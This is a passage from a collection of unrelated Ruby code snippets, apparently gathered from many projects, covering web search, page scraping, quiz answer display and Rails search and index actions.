false\n\t\t\ttext.gsub!(/\\b#{i2}\\b/i, orange(i2))\n\t\tend\n\tend\n\n\tqWords.each do |i|\n\t\ti2 = i.gsub(/(\\?|\\.|\\,|\\!)/,\"\")\n\t\tif common_words.include?(i2) == false\n\t\t\ttext.gsub!(/\\b#{i2}\\b/i, pink(i2))\n\t\tend\n\tend\t\t\n\n\twrittenNumbers.each do |wnum|\n\t\tif wnum.numberize != 0 \n\t\t\tputs \"wnum = \" + wnum.numberize.to_s\n\t\tend\n\t\tallWords.each do |qora|\n\t\t\tif qora.numberize != 0\n\t\t\t\tputs \"qora = \" + qora.numberize.to_s \n\t\t\tend \n\t\t\tif wnum.numberize < qora.numberize * 1.05 and wnum.numberize > qora.numberize * 0.95\n\t\t\t\ttext.gsub!(/\\b#{wnum.to_s}\\b/i, blue(wnum.to_s))\n\t\t\tend\n\t\tend\n\tend\n\treturn text\nend\n\n\n\n#returns list of uris from a google search\ndef googleSearch(q, n = 5)\n\n\tsearch = Google::Search::Web.new do |search|\n\t search.query = q\n\t search.size = :small\n\tend\n\tbegin\n\t\turis = search.first(n).map(&:uri)\n\trescue\n\t\t\"uri fault\"\n\tend\n\n\treturn uris\nend\n\n\n#iterably counts number of hits of each answer in a list of uris\ndef hitCount(uris, aA, aB, aC, aD)\n\n\thitCountStart = Time.now\n\taAll = []\n\taAll << aA << aB << aC << aD\n\n countA = 0\n\tcountB = 0\n\tcountC = 0\n\tcountD = 0\n\n\n\taA = aA.downcase\n\taB = aB.downcase\n\taC = aC.downcase\n\taD = aD.downcase\n\t\n\n\taTotal = []\n\tbTotal = []\n\tcTotal = []\n\tdTotal = []\n\n\tplaintexts=[]\n\n\tn = uris.size\n\n\tn.times {|i|\n\t\tif Time.now - hitCountStart < 8\n\t\t\tbegin\n\t\t\t\tbegin\n\t\t\t \tdoc = Nokogiri::HTML(open(uris[i]))\n\t\t\t \tdoc.css('script, link').each { |node| node.remove }\n\t\t\t \t\tplaintexts << doc.css('body').text.downcase.split(\"\\n\"). collect { |line| line.strip }.join(\"\\n\")\n\t\t\t \trescue\n\t\t\t \t\tputs \"Nokogiri could not read\"\n\t\t\t \tend\n\t\t \t#rescue\n\t\t \t#\t\"Nokogiri fault\"\n\n\t\t \t\t\t\t\t\n\t\t\tplaintexts[i].each_line { |bar|\n\n\t\t\t\tbegin\n\t\t\t\t\tcountA += bar.scan(/\\b#{aA}\\b/i).size\n\t\t\t\trescue\n\t\t\t\tend\t\t\t\t\t\n\t\t\t\tbegin\n\t\t\t\t\tcountB += bar.scan(/\\b#{aB}\\b/i).size\n\t\t\t\trescue\n\t\t\t\tend\n\t\t\t\tbegin\t\t\t\t\t\n\t\t\t\t\tcountC += bar.scan(/\\b#{aC}\\b/i).size\n\t\t\t\trescue\n\t\t\t\tend\t\n\t\t\t\tbegin\t\t\t\t\n\t\t\t\t\tcountD += bar.scan(/\\b#{aD}\\b/i).size\n\t\t\t\trescue\n\n\t\t\t\tend\n\n\t\t\t}\n\t\t\tputs \"A = \" + countA.to_s +\t\" B = \" + countB.to_s + \" C = \" + countC.to_s +\t\" D = \" + countD.to_s\n\t\tend\n\tend\n\t}\nend\n\n\ndef definitionAnswers(aA, aB, aC, aD)\n\taAll = []\n\taAll << aA << aB << aC << aD\n\taAll.each do |answer|\n\tif Dictionary.key?(answer)\n\t\tputs \"\\n\" + answer + \": \" + Dictionary[answer] +\"\\n\\n\"\n\telse\n\t\tputs \"\\n\" + answer + ' not found' +\"\\n\\n\"\n\tend\nend\nend\n\n\ndef dots(q, aA, aB, aC, aD)\n\tdotA = q.sub(/\\.\\.\\./,\" \" + aA)[/(‘|').*?(‘|')/][1..-2]\n\tdotB = q.sub(/\\.\\.\\./,\" \" + aB)[/(‘|').*?(‘|')/][1..-2]\n\tdotC = q.sub(/\\.\\.\\./,\" \" + aC)[/(‘|').*?(‘|')/][1..-2]\n\tdotD = q.sub(/\\.\\.\\./,\" \" + aD)[/(‘|').*?(‘|')/][1..-2]\n\t \n\n\taddress1 ='http://127.0.0.1:8000/wikipedia_en_all_nopic_01_2012/A/' + URI::encode(dotA) + '.html'\n\taddress2 ='http://127.0.0.1:8000/wikipedia_en_all_nopic_01_2012/A/' + URI::encode(dotB) + '.html'\n\taddress3 ='http://127.0.0.1:8000/wikipedia_en_all_nopic_01_2012/A/' + URI::encode(dotC) + '.html'\n\taddress4 ='http://127.0.0.1:8000/wikipedia_en_all_nopic_01_2012/A/' + URI::encode(dotD) + '.html'\n\n\thtmls = []\n\thtmls << HTTParty.get(address1) << HTTParty.get(address2) << HTTParty.get(address3) << HTTParty.get(address4)\n\treturn htmls\nend\nend", "def search_wikipedia\n respond_to do |format|\n format.html do\n @wikipedia_search_text = params[:artist_name]\n meta = MetaGeneration.new(Setting.get_settings)\n @wikipedia_search = meta.search_text(@wikipedia_search_text, 10)\n render 'search_wikipedia.html', layout: false\n end\n end\n end", "def google_search_response(auto_metareview)\n review_text_arr = auto_metareview.review_array\n # require 'ruby-web-search'\n count = 0\n temp_array = Array.new\n review_text_arr.each{\n |rev_text|\n if(!rev_text.nil?)\n #placing the search text within quotes to search exact match for the complete text\n response = RubyWebSearch::Google.search(:query => \"\\\"\"+ rev_text +\"\\\"\") \n #if the results are greater than 0, then the text has been copied\n if(response.results.length > 0)\n count+=1\n else\n temp_array << rev_text #copying the non-plagiarised text for evaluation\n end\n end\n }\n #setting temp_array as the @review_array\n auto_metareview.review_array = temp_array\n \n if(count > 0)\n return true\n else\n return false\n end\n end", "def quickout results\r\n\tout = File.open('out.txt','w')\r\n\tout.sync=true\r\n\t\r\n\tresults.each_pair do |k,v|\r\n\t\tname, images, interwikimap = k, *v\r\n\t\t\r\n\t\tout.puts \"* [[#{name}]]\"\r\n\t\tout.puts images.to_a.map{|img, langs| \r\n\t\t\t\"** [[:commons:File:#{img}|]] na #{langs.uniq.map{|l| \"[[:#{l}:#{interwikimap[l.to_s]}|#{l}]]\"}.join ','}\"\r\n\t\t}\r\n\tend\r\n\t\r\n\tout.close\r\n\t\r\n\treturn ['out.txt']\r\nend", "def show_results\n \"Correct answers: #{@correct_answers} out of #{NUMBER_OF_QUESTIONS}\\n\" \\\n \"You got #{@points} #{Sklonyator.sklonenie(@points, 'point', 'points', 'points')}\"\n end", "def answers_textbox\n self.answers.where('is_exclusive != ? and is_comment != ? and response_class != ?',true,true,\"string\").order('display_order asc').collect(&:text).join(\"\\n\")\n end", "def html\n _search_parts_keys(/html/i)\n end", "def search(terms)\n agent = Mechanize.new\n agent.get 'http://kattorrents.me/'\n search_form = agent.page.form_with(id:'searchform')\n search_form.q = terms\n search_form.submit\n parse_html(agent.page)\n end", "def display_text_result_help result\n help_link(\"Help?\", result.help_id) \n end", "def questionAnswerHtml(question)\n correct = questionCorrect question\n text = questionAnswer question\n\n return text if correct == nil\n return \"<font color=\\\"ff0000\\\">#{text}</font>\" unless correct\n return \"<font color=\\\"009900\\\">#{text}</font>\" \nend", "def scrape_text\n\n end", "def answers\n request('answers')\n end", "def index\n #@words = Word.all.order('created_at DESC').paginate(:page => params[:page])\n #@definitions = @words.each {|word| word.definitions.order(:cached_votes_up => :desc)}\n\n if params[:letter]\n @words = Word.all.order('created_at DESC').where(\"word like ?\", params[:letter] +\"%\" ).paginate(:page => params[:page])\n # creates this /words?letter=i\n elsif params[:term]\n @words = Word.where('word LIKE ?', \"%#{params[:term]}%\").paginate(:page => params[:page])\n else\n @words = Word.all.order('created_at DESC').paginate(:page => params[:page])\n end\n\n respond_to do |format|\n format.html # will render index.html.erb in case of a HTML request\n format.js # will render index.js.erb in case of an AJAX request\n end\n end", "def list_whiskies(whisky_url)\n #scrape and and create array of whisky hashes for all selected whiskies using url\n @whiskies = WhiskyPicker::Whisky.scrape_index_page(BASE_PATH + whisky_url)\n #display list of whiskies\n @whiskies.each_with_index do |whisky, index|\n puts \"#{index+1}. #{whisky.name}\"\n end\n menu\n end", "def get_search_result_body_html(record_arr)\n str_arr = []\n record_arr.each_with_index do |r, index|\n str_arr << %{<div class=\"search_item\" id=\"search_item_#{index}\">\n <h3 class=\"titbg\"><span class=\"title_ico\">&nbsp;</span>\n <a href=\"#{r.url}\" target=\"_blank\">#{r.title}</a>\n </h3>\n <a href=\"#{r.url}\" target=\"_blank\">#{r.url[0..79]}</a><br/>\n #{(r.summary).html_safe}\n </div>}\n end\n str_arr.join(\"\\n\")\n end", "def poll_extractions url=nil\n url ||= site.sample\n finders = all_finders\n begin\n pagetags = PageTags.new(url, @site, finders, true, false)\n correct_result = nil\n finders.each do |finder|\n pagetags.results_for(finder[:id]).each do |result|\n # pagetags.results_for(label).each do |result|\n # finder = result.finder\n puts \"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\"\n puts \"URL: #{url}\"\n label = finder[:label]\n finder.each { |key, value| puts \"\\t(#{key}: #{value})\" unless [:label, :count, :foundlings].include?(key) }\n # accepted = false\n if (foundstr = result.out.shift)\n unless column = correct_result && (foundstr == correct_result) && :yes_votes\n puts \"#{label}: #{foundstr}\"\n site_option = [\"Description\", \"Site Name\", \"Title\", \"Image\", \"Author Name\", \"Author Link\", \"Tags\"].include?(label) ? \" S(ave value to Site) \" : \"\"\n puts \"Good? [y](es) n(o) #{site_option} Q(uit)\"\n answer = gets.strip\n case answer[0]\n when 'Q'\n return nil\n when 'N', 'n'\n column = :no_votes\n if answer[0] == 'N'\n @site.reviewed = nil\n @site.save\n return false\n end\n when 'Y', 'y', nil\n column = :yes_votes\n # accepted = (answer[0] == 'Y')\n correct_result = foundstr\n # Include the finder on the site\n unless @site.finders.exists?(finds: finder[:label], selector: finder[:path], read_attrib: finder[:attribute])\n if existing = @site.finders.where(finds: finder[:label]).first\n existing.selector = finder[:path]\n existing.read_attrib = finder[:attribute]\n existing.save\n else\n @site.finders.create(finds: finder[:label], selector: finder[:path], read_attrib: finder[:attribute])\n @site.save\n end\n end\n # Saved the title finder: take a crack at the editing RegExp\n if label == \"Title\"\n done = false\n until done\n trimmed = trim_title foundstr\n puts \"Title In: #{foundstr}\"\n puts \"Title Out: #{trimmed}\"\n puts \"Good? (sS to save, qQ to quit, otherwise type new regexp for title) \"\n answer = gets.strip\n case answer\n when 's', 'S'\n site.save\n done = true\n when 'q', 'Q'\n done = true\n else\n @site.ttlcut = answer\n end\n end\n end\n when 'S'\n # Copy the value to the corresponding field on the site\n rest_of_line = answer[1..-1].strip\n field_val = rest_of_line.blank? ? foundstr : rest_of_line\n case label\n when \"Image\"\n @site.logo = field_val\n @site.save\n when \"Description\"\n @site.description = field_val\n @site.save\n when \"Site Name\", \"Title\"\n @site.name = field_val\n @site.save\n when \"Author Name\"\n TaggingServices.new(@site).tag_with field_val, User.super_id, type: \"Author\"\n @site.save\n when \"Author Link\"\n # Add a reference to the author, if any\n @site.tags(User.super_id, tagtype: \"Author\").each { |author|\n Reference.assert field_val, author, \"Home Page\"\n }\n when \"Tags\"\n ts = TaggingServices.new @site\n field_val.split(',').collect { |tagname|\n tagname = tagname.split(':').last.strip\n tagname if (tagname.length>0)\n }.compact.each { |tagname|\n ts.tag_with tagname, User.super_id\n }\n else\n puts \"There's no field on the site for #{label}\"\n end\n end\n end\n if column\n finder[column] = 0 unless finder[column]\n finder[column] = finder[column]+1\n end\n end\n end\n end\n return true\n rescue Exception => e\n puts \"Error: couldn't open page '#{url}' for analysis:\"\n puts e.to_s\n return false\n end\n end", "def q3_page\n\"\n\n\n\n\n\n\n\n\n\n What is your Food Mood?\n\n *-------------------* *-------------------* *-------------------*\n | | | | | |\n | | | | | |\n | | | | | |\n | Old Faves | | Surprise Me! | | Craving |\n | | | | | |\n | | | | | |\n | | | | | |\n *-------------------* *-------------------* *-------------------*\n\n 1: 2: Input your Craving:\n\nAnswer: \"\nend", "def get_content_for_survey_result(result, survey, params)\n #y params\n \n # Param format example:\n # question-0-id: '13'\n # question-0-text: How many pets do you have?\n # question-0-value: '1'\n # question-1-id: '14'\n # question-1-text: What are your favorite foods?\n # question-1-value-0: 'Cake'\n \n questions = Array.new\n question_params = params.reject{|k,v| !k.starts_with?(\"question-\")}\n question_params.each do |k,v|\n keysplit = k.split(\"-\")\n n = keysplit[1].to_i\n att = keysplit[2]\n questions[n] = Hash.new if questions[n].nil?\n qhash = questions[n]\n if att == \"value\"\n # Possible multiple values for checkbox, so use an array.\n qhash[att] = Array.new if !qhash.has_key?(att)\n qhash[att].push(v)\n else\n qhash[att] = v\n end\n end\n \n # Store a JSON-String\n ActiveSupport::JSON.encode(questions)\n end", "def get_non_dictionary_translation html_doc\n html_doc.xpath('//*[@id=\"result_box\"]/span')\n end", "def answers\n %w{Yes No Maybe Ask\\ again\\ later}\nend", "def challenges\n @limit = get_limit\n @offset = get_offset(params)\n if !params[:keyword].nil?\n @results_count = Challenge.count(:conditions => [ \"name like :kw or description like :kw\", { :kw => \"%\" + params[:keyword].to_s + \"%\" }])\n @challenges = Challenge.find(:all,\n :conditions => [ \"name like :kw or description like :kw\", { :kw => \"%\" + params[:keyword].to_s + \"%\" }],\n :limit => @limit,\n :offset => @offset)\n end\n @results_pages = @results_count.fdiv(@limit)\n respond_to do |format|\n format.html { render \"manage/challenges/index\" }\n format.xml { render :xml => @challenges }\n end\n end", "def search(phrase, limit=5, description=true, display=true)\n search = phrase.split.join(\"_\")\n endpoint = \"https://en.wikipedia.org/w/api.php?action=opensearch&format=json&search=#{search}&limit=#{limit}\"\n hash = get(endpoint)\n results = hash[1]\n descriptions = hash[2]\n if display\n puts \"Displaying #{results.length} results:\"\n for i in 0...results.length\n if description\n if ! descriptions[i].empty?\n puts \"\\n'#{results[i]}' : #{descriptions[i]}\"\n else\n puts \"\\n'#{results[i]}' : No Immediate Description Available. Try `wik -d #{results[i]}`\"\n end\n else\n puts \"\\n'#{results[i]}'\"\n end\n end\n end\n return hash\n end", "def ar_search_results tags= {}\n if !@query || @query.empty? \n result= controller.ardata.labels[:ask_for_search_terms]\n elsif @search_results && @search_results.total_hits > 0\n\n result= sprintf(controller.ardata.labels[:search_results_summary], \n @search_results.total_hits, @query)\n \n items= @search_results.inject([]) do |elems_array, elem|\n elems_array << content_tag(tags[:item] || :li, ar_transform_search_result(elem))\n end\n\n result= \"#{result}\\n#{content_tag(tags[:items] || :ul, items.join(\"\\n\"))}\"\n else\n result= sprintf(controller.ardata.labels[:search_results_summary], 0, @query)\n end\n \n content_tag(tags[:enclose] || :p, result)\n end", "def search(user_query)\n\n characters = @client.characters(name: user_query)\n # comics = @client.comics(name: user_query)\n # creators = @client.creators(name: user_query)\n # events = @client.events(name: user_query)\n # series = @client.series(name: user_query)\n # stories = @client.stories(name: user_query)\n\n puts characters\n # I'm finally getting return goobledigook! But Derek also used this API and is getting different return than me. His was formulated like a nice little hash. \n\n end", "def ask_wikipedia(search)\n # what is passed in when following a link will be encoded\n search = CGI::unescape(search)\n \n # looks like the encoding we are receiving is not the same as what wikipedia will take in some cases \n # so we decode and then re-encode this so it goes to wikipedia correctly\n search = CGI::escape(search) unless search == \"::Home\"\n\n path = \"/wiki/#{search}\"\n puts \"path = #{path}\"\n \n # temporarily we hardcode these headers which are required by m.wikipedia.org\n headers = {\n # 'User-Agent' => 'Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1C28'\n 'User-Agent' => 'Rhosync'\n }\n \n response, data = fetch(path, headers)\n data = rewrite_urls(data)\n \n [data].pack(\"m\").gsub(\"\\n\", \"\")\n end", "def questioning\n return text\n end", "def questioning\n return text\n end", "def html_output_for_custom_deckify(matches)\n str = ''\n matches.each do |match|\n unless match == \"synonyms\" || match == \"antonyms\"\n str << '<h2>' + \"Match flashcards with #{outward_match(match).upcase} on the front to: \" + '</h2>'\n str << matches_for_attribute(matches, match)\n end\n end\n return str.html_safe\n end", "def search_terms_summary terms_and_scores \n return \"<span class='none_text'>No search queries during this period</span>\".html_safe if terms_and_scores.empty?\n words=terms_and_scores.collect{|ts| \"#{h(ts[0])}(#{ts[1]})\" }\n words.join(\", \").html_safe\n end", "def find(phrase, limit=15, snippet=false, display=true)\n search = phrase.split.join(\"_\")\n if snippet\n endpoint = \"https://en.wikipedia.org/w/api.php?action=query&format=json&list=search&srsearch=#{search}&srlimit=#{limit}\"\n else\n endpoint = \"https://en.wikipedia.org/w/api.php?action=query&format=json&list=search&srsearch=#{search}&srlimit=#{limit}&srprop\"\n end\n hash = get(endpoint)\n info = hash[\"query\"][\"searchinfo\"]\n results = hash[\"query\"][\"search\"]\n if display\n puts \"Total hits : #{ info[\"totalhits\"] }\"\n if info[\"suggestion\"]\n puts \"Suggestion : #{ info[\"suggestion\"] }\"\n end\n puts \"Displaying #{results.length} results:\"\n results.each do |result|\n # https://stackoverflow.com/a/1732454\n if snippet\n snip = result[\"snippet\"].gsub( /<.*?>/, \"\" ).gsub( /&\\w+;/, \"\" ).split.join(\" \")\n puts \"\\n'#{result[\"title\"]}' : #{snip}...\"\n else\n puts \"\\n'#{result[\"title\"]}'\"\n end\n end\n end\n return hash\n end", "def show_result\n real_answers = @answer_list.collect {|i| @answers[i]}\n @story_parts.zip(real_answers).flatten.compact.join\n end", "def show\n @sleuths = HTTParty.get('https://webservice.wikipathways.org/findPathwaysByText?query=' + @sleuth.ext_gene + '&species=homo+sapiens&format=json',\n :headers =>{'Content-Type' => 'application/json'} )\n @pubs = HTTParty.get('https://eutils.ncbi.nlm.nih.gov/entrez/eutils/esearch.fcgi?db=pubmed&retmode=json&term='+ @sleuth.ext_gene,\n :headers =>{'Content-Type' => 'application/json'} )\n end", "def answer_texts\n self.answers.map { |a| a.choice }\n end", "def answer_texts\n self.answers.map { |a| a.choice }\n end", "def results\n # { answer choice text => count of responses }\n results_hash = Hash.new(0)\n\n answer_choices.each do |choice|\n # results_hash[choice.question.text] += choice.responses.length \n results_hash[choice.text] += choice.responses.length \n end\n \n results_hash\n end", "def rraw(v, sec)\n sec = Array.new if ! filled? sec\n h = Hash.new\n $doc.xpath(v).each do |n|\n h = {:t=>to_html(n['titulo']), :st=>to_html(n['subtitulo']), :c=>to_html(n.content)} \n sec.push(h)\n end\n return sec\nend", "def questionAnswerHtml(question)\n correct = questionCorrect question\n text = questionAnswer question\n return '' if text == nil\n \n shortText = truncate text, 30\n\n return text if correct == nil\n return \"<font color=\\\"ff0000\\\">#{shortText}</font>\" unless correct\n return \"<font color=\\\"009900\\\">#{shortText}</font>\" \nend", "def search_ah_link(atk, health, content)\n string = \"<a href='#{@search_url}type=troop&atk=#{atk}&health=#{health}'>#{content}</a>\"\nend", "def index\n @ideas = Idea.text_search(params[:query]).page(params[:page]).per_page(12)\n end", "def google(query)\n url = \"http://www.google.com/search?q=#{CGI.escape(query)}\"\n res = Nokogiri::HTML(open(url)).at(\"h3.r\")\n\n title = res.text\n link = res.at('a')[:href]\n desc = res.at(\"./following::div\").children.first.text \nrescue \n \"No results found\"\nelse\n CGI.unescape_html \"#{title} - #{desc} (#{link})\"\nend", "def search_watir\n # data validation\n # if no ARGV, print errormessage and shut the prog\n if ARGV.empty?\n abort(\"Missing input. \\nPlease explict your question.\")\n else\n question = ARGV.join(' ')\n end\n\n # open browser\n browser = Watir::Browser.new:chrome\n\n # equivalence type the address of searching engine\n browser.goto 'google.com'\n\n # equivalence finding the search bar\n search_bar = browser.text_field(class:'gsfi')\n\n # equivalence tying the word\n search_bar.set(question)\n\n # pressing the searching button\n search_bar.send_keys(:enter)\n browser.button(type:\"submit\").click\nend", "def answers\n []\n end", "def research_sites(search_str)\n search_sites = link_to \"Google\", 'http://www.google.com/search?q=' + search_str, :target => '_blank'\n search_sites += ' | '\n search_sites += link_to \"Yahoo\", 'http://search.yahoo.com/search?p=' + search_str, :target => '_blank'\n search_sites += ' | '\n search_sites += link_to \"Technorati\", 'http://www.technorati.com/search' + search_str, :target => '_blank'\n search_sites += ' | '\n search_sites += link_to \"Wikipedia\", 'http://en.wikipedia.org/w/wiki.phtml?search=' + search_str, :target => '_blank'\n search_sites += ' | '\n search_sites += link_to \"del.icio.us\", 'http://del.icio.us/search/?all=' + search_str, :target => '_blank'\n end", "def results_list\n list = []\n begin\n self.spans(:class=>\"s3d-search-result-name\").each do |element|\n list << element.text\n end\n rescue\n list = []\n end\n list\n end", "def get_zomato_results(url)\n\t\tvisit(url)\n\t doc = Nokogiri::HTML(page.html)\n\t results = doc.css(\".result-title\")\n\n\t if results.present?\n\t \tresults.each do |result|\n\t \t\tname = result.text\n\t \t\thref = result[\"href\"]\n\t \t\tp name\n\t \t\tp href\n\t \t\t#get_page_data(href)\n\t \tend\n\t end\n\t #p doc\n\t #reviews = doc.css('.rev-text')\n\t #if reviews.present?\n\t #\treviews.each do |review|\n\t #\t\tp review.text.strip\n\t #\t\tp \"****************\"\n\t #\tend\n\t #end\t \n\tend", "def get_results()\n restriction_nodes = []\n result_nodes = []\n if !(@inputs.nil? || @inputs.empty? || @inputs.first.empty?)\n input_set = @inputs.first\n restriction_nodes= input_set.nodes\n result_nodes = input_set.breadth_first_search(true){|node| node.item.text.downcase.include?(@keyword_phrase.to_s.downcase)} \n end\n \n if !@inplace\n results = @server.match_all(parse_keyword_phrase(), restriction_nodes) \n result_nodes = results.map{|item| Xplain::Node.new(item: item)}\n end\n \n result_nodes\n \n end", "def search(project: nil, text: nil, kind: 'subject', tags: { }, page: 1, results: [])\n raise 'no project specified' unless project\n tag_query = tags.each_pair.collect{ |k, v| \"tags[#{ k }]=#{ v }\" }.join '&'\n uri = URI.parse \"https://api.zooniverse.org/projects/#{ project }/talk/search?text=#{ text }&kind=#{ kind }&#{ tag_query }&per_page=20&page=#{ page }\"\n req = Net::HTTP::Get.new uri.to_s\n http = Net::HTTP.new uri.host, uri.port\n http.use_ssl = true\n res = http.request req\n json = JSON.parse res.body\n \n pages = (json['total'] / json['per_page'].to_f).ceil\n \n # More than 1,000 results\n if page == 1 && pages > 50\n puts \"\\n\\nThis query has #{ json['total'] } results.\"\n puts \"It could take a long time and degrade server performance.\"\n puts \"Are you really sure you want to run this query? (y/n)\"\n return unless gets.chomp =~ /y/i\n end\n \n if json['page'] < pages\n puts \"#{ json['page'] } / #{ pages }\"\n search project: project, text: text, kind: kind, tags: tags, page: page + 1, results: results + json['results']\n else\n results + json['results']\n end\nend", "def results_list\n list = []\n begin\n self.spans(:class=>\"s3d-search-result-name\").each do |element|\n list << element.text\n end\n rescue\n list = []\n end\n return list\n end", "def index\n @icebreaker_answers = IcebreakerAnswer.all\n end", "def index\n @captcha_on_iknow_demos = CaptchaOnIknowDemo.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @captcha_on_iknow_demos }\n end\n end", "def index\n render status: :ok, json: @simple_question_alternatives\n end", "def search_content\n \"#{body}\"\n end", "def get_keywords(site)\n response = Net::HTTP.get_response(site, \"/\")\n Hpricot(response.body).\n search(\"meta[@name='keywords']\")[0]. #Select meta keywords element\n attributes[\"content\"]. #Select its content\n split(\",\"). #Keywords are coma separated\n collect{ |k| k.strip.downcase } #Remove start and end white spaces\nend", "def answer\n\t\tget_data\n\n\t\t@summary = @data[$randId]['news_summary']\n\t\t@c_answer = @data[$randId]['c_answer']\n\t\t@alt1 = @data[$randId]['alt1']\n\t\t@alt2 = @data[$randId]['alt2']\n\t\t@alt3 = @data[$randId]['alt3']\n\t\t@cat = @data[$randId]['category_id']\n\t\t@ans = params[:param1]\n\t\t@id = params[:param2]\n\t\t@url = @data[$randId]['news_url']\n\t\t@hex = @data[$randId]['category_hex_code']\n\n\t\tget_descriptions(@url)\n\n\t\t@title = @desc_data['title']\n\t\t@summary = @desc_data['desc']\n\t\t@image = @desc_data['image']\n\n\t\ttagstring = @data[$randId]['tag']\n\t\tunless tagstring.nil? || tagstring.empty?\n\t\t\t@tags = tagstring.split(\",\")\n\t\t\t@taglength = @tags.length\n\t\tend\n\tend", "def get_wiki(search)\n return Wikipedia::article(search).first\n search = search.split(/\\s+/).map {|w| w.capitalize }.join(' ')\n page = Wikipedia.find(search)\n g = JSON.parse(page.json)\n content = g[\"query\"][\"pages\"].first.last[\"revisions\"].first\n\n\n content = content[\"*\"]\n\n\n wiki = WikiCloth::Parser.new({ data: content })\n\n html = wiki.to_html\n\n doc = Nokogiri::HTML(html)\n doc = doc.xpath(\"//p\").to_s\n doc = Nokogiri::HTML(doc)\n doc = doc.xpath(\"//text()\").to_s\n\n doc = doc.split(\"\\n\")\n\n plaintext = []\n\n doc.each do |d|\n unless d.empty?\n plaintext << d\n end\n end\n\n\n return plaintext\n end", "def to_results\n info = request :q => @query, :rsz => @opts[:size], :start => ((@opts[:page] - 1) * @opts[:size])\n results = info[:results]\n query_strings = info[:query_strings]\n coder = HTMLEntities.new\n if(results['responseData']['cursor']['currentPageIndex'].nil?)\n new_one = Chen::Results.new\n new_one.estimated = 0\n return new_one\n end\n \n \n current_page = results['responseData']['cursor']['currentPageIndex']+1\n max_result = query_strings[:start] + query_strings[:rsz]\n estimated_results = results['responseData']['cursor']['resultCount']\n result_array = results['responseData']['results']\n \n datas = Chen::Results.new\n datas.estimated = estimated_results\n result_array.each_with_index do |result, i|\n new_data = Chen::SearchResult.new\n new_data.tap do |d|\n d.title = result[\"titleNoFormatting\"]\n d.url = result[\"url\"]\n d.desc = result[\"content\"].squeeze(\" \")\n d.number = (i + query_strings[:start] + 1)\n end\n datas << new_data\n end\n return datas\n end", "def describe_search_if_present\n if params[:q].present?\n return \"matching &ldquo;#{h params[:q]}&rdquo;\".html_safe\n end\n end", "def search\r\n\t\t\t$browser.text_field(:id => 'sb_form_q')\r\n\t\tend", "def terms\n @terms ||= Net::HTTP.get(\"rafb.net\", \"/paste/terms.html\")\n # return text inside the div with class \"content_body\", without HTML tags.\n @terms[%r{<div class=\"content_body\">.*?</div>}m].gsub(%r{<.*?>}m, \"\").strip\n end", "def api\n url = \"https://wagon-dictionary.herokuapp.com/#{@answer}\"\n response = URI.open(url).read\n json = JSON.parse(response)\n return json['found']\n end", "def scrape\n doc = capture\n puts \"scraping...\"\n symbols = doc.css(\"tr.snippet td.symbol\").map &:text\n tickers = doc.css(\"tr.snippet td.rgt.nwp\").map &:text\n puts \"data scraped\"\n return [symbols, tickers]\n end", "def wrap_result(text)\n \"<q>#{text}</q>\"\n end", "def results\n meth = [kind.to_s, self.search_suffix].join.to_sym\n return([]) unless respond_to?(meth) # Ensure no hijackers.\n return([]) if q.nil?\n \n send(meth)\n end", "def get_keywords( descriptions )\n keywords = []\n descriptions.each do |description|\n page_text = Nokogiri::HTML(description).text\n keywords.concat( page_text.split(/\\W+/) )\n end\n\n return keywords\nend", "def select_word\r\n\t\t@answer = @words[rand(27)]\r\n\r\n\r\n\t\t# this would be a list of hashes\r\n\t\t@question = \"\"\r\n \t@tempque=\"\"\r\n\t\tfor x in 0..@answer.length\r\n\r\n\t\t\t@question=@question+\"#\"\r\n \t\t@tempque=@tempque+\"#\"\r\n\t\tend\r\n\t\treturn @answer\r\n\r\n\tend", "def experts(q, options={})\n options = set_window_or_default(options)\n handle_response(self.class.get(\"/experts.json\", :query => {:q => q}.merge(options)))\n end", "def test_search\n get :index, :q => 'Amazon'\n assert_response :success\n assert_template 'searches/index'\n assert_equal(1, assigns(:companies).size)\n assert_equal(1, assigns(:news).size)\n assert_equal(0, assigns(:gossip).size)\n assert_equal(0, assigns(:questions).size)\n assert_select 'h1', :text => /Search results matching Amazon/\n assert_valid_markup if should_validate_markup\n end", "def online_docs(word)\n \"<a title=\\\"Search Adobe for #{word}\\\"\n href=\\\"http://community.adobe.com/help/search.html?q=#{word}&x=0&y=0&lbl=flex_product_adobelr&site=communityhelp_platform_aslr&hl=en_US&self=1&area=0\\\">Search Livedocs</a>\"\n end", "def list_sol_isos(search_string)\n handle_output(options,\"\") \n list_js_isos()\n list_ai_isos()\n return\nend", "def add_questions_answers(responses)\n content = \"\"\n responses.each do |response|\n answer = response.answer\n if !response.string_value.nil?\n content += \"<b>#{response.question.text}</b> - #{CGI::escapeHTML(response.string_value)}\\n\"\n elsif answer.text == \"Date\"\n content += \"<b>#{response.question.text}</b> - #{response.datetime_value.to_date}\\n\"\n else\n content += \"<b>#{response.question.text}</b> - #{CGI::escapeHTML(response.answer.text.to_str)}\\n\"\n end\n end\n content\n end", "def show\n @kanji = Kanji.find(params[:id])\n @kanji_obj = KLookup::Lookup::Kanji.new(@kanji.kanji)\n @radicals = kanji_radicals(@kanji_obj)\n @examples = @kanji.words\n end", "def show\n query = params[:search]\n puts \"Query: #{query}\"\n if query\n @answers = Answer.search(query)\n respond_to do |format|\n format.js\n end\n else\n @answers = Answer.where([\"id = ?\",1])\n end\n end", "def index\n\n if params[:search].nil?\n @questions = Question.all\n else\n @questions = Question.search params[:search]\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questions }\n end\n end", "def solved\n @title = \"Solved\".t\n do_search_kases(@kases)\n render :template => 'kases/index' unless request.xhr?\n end", "def qa_page\n find_by(url: '/questions_and_tags')\n end", "def quizzes\n if @quiz_divs\n @quiz_divs.map do |quiz_div|\n arr = quiz_div.children.inner_text.split(\"\\n\").delete_if(&:blank?)\n {\n title: arr[1],\n options: arr[2..-3],\n explanation: arr[-2]\n }\n end\n end\n end", "def index\n @answers = Answer.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @answers }\n end\n end", "def scrape\n end", "def index\n # @question = @q.result(distinct: true)\n @continents = Continent.all\n @tags = Tag.all\n @ranks = Question.last_week\n @new_resolved = Question.recentry_resolved_questions\n if params[:q]\n @words = params[:q][:title_or_body_or_tag_name_or_country_name_cont].split(/[\\p{blank}\\s]+/)\n # @words = []\n # words.each do |word|\n # w 